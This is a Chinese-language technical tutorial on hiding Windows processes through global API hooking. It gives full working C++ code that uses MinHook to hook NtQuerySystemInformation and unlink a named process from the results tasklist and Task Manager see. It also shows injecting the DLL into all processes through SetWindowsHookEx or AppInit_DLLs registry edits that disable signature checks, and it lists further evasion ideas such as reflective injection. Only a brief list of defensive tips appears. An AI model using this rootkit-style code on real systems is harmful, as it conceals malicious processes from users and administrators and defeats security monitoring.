Window向之全局Hook实现进程隐藏
字数 1876 2025-08-24 07:48:23
Windows全局Hook实现进程隐藏技术详解
0x00 前言
本文详细讲解通过全局Hook技术实现Windows进程隐藏的方法,涵盖多种实现方式及其原理,包括:
- 利用全局钩子SetWindowsHookEx
- AppInit_DLLs注册表键值实现globalAPIhook
- Hook系统进程监控进程创建
0x01 API Hook技术基础
1.1 MinHook库介绍
MinHook是一个轻量级的x86/x64 API Hook库,特点:
- 支持x86和x64架构
- 简单易用的API
- 开源且维护良好
1.2 MinHook安装
Windows安装步骤:
git clone https://github.com/microsoft/vcpkg
.\vcpkg\bootstrap-vcpkg.bat
.\vcpkg\vcpkg integrate install
.\vcpkg\vcpkg install minhook
无git环境安装:
Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
cd .\vcpkg && bootstrap-vcpkg.bat
vcpkg.exe integrate install
vcpkg.exe instal minhook
vcpkg.exe install minhook:window-x64
1.3 MinHook使用示例
Hook MessageBoxW示例代码:
#include <Windows.h>
#include <stdio.h>
#include "MinHook.h"
#if defined _M_X64
#pragma comment(lib, "minhook.x64.lib")
#elif defined _M_IX86
#pragma comment(lib, "minhook.x86.lib")
#endif
typedef int(WINAPI* MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);
MESSAGEBOXW fpMessageBoxW = NULL;
int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
return fpMessageBoxW(hWnd, L"Hooked!", lpCaption, uType);
}
int wmain()
{
if (MH_Initialize() != MH_OK) {
printf("%ws\n", L"初始化MinHook失败!");
return 1;
}
if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) {
printf("%ws\n", L"创建Hook失败!");
return 1;
}
if (MH_EnableHook(&MessageBoxW) != MH_OK) {
printf("%ws\n", L"开启Hook失败!");
return 1;
}
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
if (MH_DisableHook(&MessageBoxW) != MH_OK) {
printf("%ws\n", L"关闭Hook失败!");
}
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
if (MH_Uninitialize() != MH_OK) {
return 1;
}
return 0;
}
1.4 封装Hook函数
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
0x02 进程隐藏实现
2.1 原理分析
Windows进程管理器相关程序:
- C:\Windows\System32\tasklist.exe
- C:\Windows\System32\Taskmgr.exe
分析发现它们最终都调用了NtQuerySystemInformation函数来获取进程信息,因此可以通过Hook此函数实现进程隐藏。
2.2 Hook NtQuerySystemInformation实现
#include "pch.h"
#include <winternl.h>
#include <MinHook.h>
#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v140-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v140-mt.lib")
#endif
typedef struct _MY_SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
} _MY_SYSTEM_PROCESS_INFORMATION, *MY_SYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI* myNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength);
myNtQuerySystemInformation fpNtQuerySystemInformation = NULL;
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength)
{
NTSTATUS status = fpNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {
MY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
MY_SYSTEM_PROCESS_INFORMATION pNext = (MY_SYSTEM_PROCESS_INFORMATION)SystemInformation;
do {
pCurrent = pNext;
pNext = (MY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length)) {
if (0 == pNext->NextEntryOffset) {
pCurrent->NextEntryOffset = 0;
}
else {
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
pNext = pCurrent;
}
} while (pNext->NextEntryOffset != 0);
}
return status;
}
BOOL Hook()
{
MH_Initialize();
MH_CreateHookApiEx(L"ntdll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, &fpNtQuerySystemInformation);
MH_EnableHook(MH_ALL_HOOKS);
return true;
}
BOOL unHook()
{
MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize();
return true;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"Hook ok!", L"Title", MB_OK);
Hook();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
2.3 关键隐藏技术
通过修改进程信息链表结构实现隐藏:
- 找到目标进程的链表节点
- 将前一个节点的
NextEntryOffset指向目标节点的下一个节点 - 跳过目标节点,实现链表删除效果
0x03 全局Hook技术
3.1 SetWindowsHookEx全局钩子
原理:Windows消息机制允许通过设置全局钩子将DLL注入到所有进程中。
实现步骤:
- 编写DLL并导出钩子处理函数
extern "C" LRESULT __declspec(dllexport) GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
return ::CallNextHookEx(NULL, code, wParam, lParam);
}
- 主程序设置全局钩子
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE hDll = LoadLibraryW(TEXT("C:\\path\\to\\your.dll"));
if (hDll == NULL) {
printf("LoadDLL Error: %d\n", GetLastError());
return 0;
}
HOOKPROC MsgHookProc = (HOOKPROC)GetProcAddress(hDll, "GetMsgProc");
HHOOK hhook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)MsgHookProc, hDll, 0);
if (hhook == NULL) {
return 0;
}
printf("Success SetWindowHookEx!\n");
system("pause");;
UnhookWindowsHookEx(hhook);
FreeLibrary(hDll);
printf("Success Unload DLL!\n");
}
局限性:
- 只能挂钩带GUI的程序
- DLL需要落地
- 对tasklist.exe等命令行工具无效
3.2 AppInit_DLLs全局注入
原理:通过修改注册表键值将DLL注入所有用户模式进程。
注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
关键键值:
AppInit_DLLs- DLL路径列表(空格或逗号分隔)LoadAppInit_DLLs- 设置为1启用RequireSignedAppInit_DLLs- 签名要求(Windows 7+)
注册表示例:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHookx64.dll,C:\\Tools\\AppInitHook.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHook.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000
局限性:
- DLL必须落地
- Windows 8+默认禁用此功能(安全启动)
- 部分系统工具可能仍然可见
0x04 技术总结
-
Hook技术选择:
- MinHook库简化API Hook实现
- 关键Hook点:NtQuerySystemInformation
-
隐藏实现要点:
- 修改进程信息链表结构
- 注意不同系统版本差异
-
全局注入方式对比:
| 方式 | 优点 | 缺点 |
|---|---|---|
| SetWindowsHookEx | 无需重启生效 | 仅限GUI程序 |
| AppInit_DLLs | 所有用户模式进程 | 需要重启生效,Win8+受限 |
- 防御建议:
- 监控关键API调用
- 检查注册表AppInit_DLLs键值
- 使用签名验证加载的DLL
0x05 进阶思考
-
对抗检测:
- 无文件Hook技术
- 反射DLL注入
- 多层级Hook
-
兼容性处理:
- 不同Windows版本适配
- 32/64位进程处理
-
隐蔽性提升:
- 动态修改Hook目标
- 条件触发Hook
0x06 参考资源
- MinHook项目:https://github.com/TsudaKageyu/minhook
- Microsoft文档:
- SetWindowsHookEx: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw
- AppInit_DLLs: https://docs.microsoft.com/en-us/windows/win32/win7appqual/appinit-dlls-in-windows-7-and-windows-server-2008-r2
- 相关技术文章:
- https://www.codeproject.com/Articles/49319/Easy-way-to-set-up-global-api-hooks
- https://github.com/manicstreetcoders/AppInitGlobalHooks-Mimikatz